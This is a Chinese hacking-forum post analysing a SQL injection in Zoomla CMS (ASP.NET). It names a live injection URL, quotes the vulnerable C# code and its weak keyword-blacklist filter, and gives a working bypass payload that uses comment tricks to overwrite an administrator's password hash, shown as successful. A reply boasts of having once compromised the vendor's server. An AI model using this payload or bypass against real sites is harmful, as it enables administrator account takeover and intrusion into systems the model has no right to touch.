查看: 13400|回复: 1

逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)

[复制链接]
  • TA的每日心情
    擦汗
    半小时前
  • 签到天数: 1576 天

    [LV.Master]伴坛终老

    发表于 2013-11-25 16:57:24 | 显示全部楼层 |阅读模式
    显示不全请点击全屏阅读
    绕过了那个很简单的防注入。直接可以update管理员密码。

    注入点:

    http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx

    页面的按钮点击事件:

    1. protected void Btn_Click调用了b_Arrive.UpdateState(text);
    2. public bool UpdateState(string ArriveNo)
    3. {
    4. string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'";  ///果断注入
    5. return SqlHelper.ExecuteSql(sqlStr);
    6. }
    复制代码
    Page_Load方法里面有调用到了一个函数:
    DataSecurity.StartProcessRequest();

    上面这个函数具体是这样的:

    1. public static void StartProcessRequest()
    2. {
    3. try
    4. {
    5. if (HttpContext.Current.Request.QueryString != null)
    6. {
    7. for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)
    8. {
    9. string getkeys = HttpContext.Current.Request.QueryString.Keys[i];
    10. if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys]))
    11. {
    12. function.WriteErrMsg("数据不能包含SQL注入代码!");
    13. HttpContext.Current.Response.End();
    14. }
    15. }
    16. }
    17. if (HttpContext.Current.Request.Form != null)
    18. {
    19. for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)
    20. {
    21. string getkeys = HttpContext.Current.Request.Form.Keys[j];
    22. if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys]))
    23. {
    24. function.WriteErrMsg("数据不能包含SQL注入代码!");
    25. HttpContext.Current.Response.End();
    26. }
    27. }
    28. }
    29. }
    30. ……
    31. }
    复制代码
    里面还调用到一个DataSecurity.ProcessSqlStr

    1. public static bool ProcessSqlStr(string Str)
    2. {
    3. bool ReturnValue = true;
    4. Str = Str.ToLower();
    5. try
    6. {
    7. if (Str != "")
    8. {
    9. string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
    10. string[] anySqlStr = SqlStr.Split(new char[]
    11. {
    12. '|'
    13. });
    14. string[] array = anySqlStr;
    15. for (int i = 0; i < array.Length; i++)
    16. {
    17. string ss = array[i];
    18. if (Str.IndexOf(ss) >= 0)
    19. {
    20. ReturnValue = false;
    21. }
    22. }
    23. }
    24. }
    25. catch
    26. {
    27. ReturnValue = false;
    28. }
    29. return ReturnValue;
    30. }
    复制代码
    对于变量

    string SqlStr = “and |exec |insert |select |delete |update |count |chr |mid
    |master |truncate |char |declare “;
    里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:
    在页面正常输入东西:
    image019.png
    提交的时候截断一下,改下优惠券编号的代码,如下:

    1. 1′;update/**/zl_manager set
    2. adminpassword=’c4ca4238a0b923820dcc509a6f75849b’ where
    3. adminname=’testuser’–
    复制代码
    执行前管理密码是这样的:
    20131125104511767.jpg
    20131125104512511.jpg
    表明注入成功。
    作者:wefgod
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2015-11-17 17:33
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2013-11-29 10:05:07 | 显示全部楼层
      这个逐浪之前我拿到过他的服务器
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-22 01:16 , Processed in 0.037175 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部